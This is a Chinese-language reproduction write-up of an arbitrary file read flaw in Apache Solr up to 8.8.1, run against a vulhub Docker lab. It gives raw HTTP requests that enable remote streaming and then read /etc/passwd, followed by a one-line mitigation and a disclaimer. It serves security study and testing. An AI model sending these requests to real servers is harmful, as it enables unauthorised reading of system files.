Apache Solr <= 8.8.1
使用vulhub快速搭建
wget https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.yml
docker-compose up -d
docker ps
1、获取core的信息:主要是name
http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json
2、根据name构造获取config的包
POST /solr/demo/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 80
Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3、构造读取/etc/passwd的包
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close
stream.url=file:///etc/passwd
将Solr 端口仅对内网开放
参考链接:
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558
本文始发于微信公众号(Timeline Sec):Apache Solr <= 8.8.1任意文件读取漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论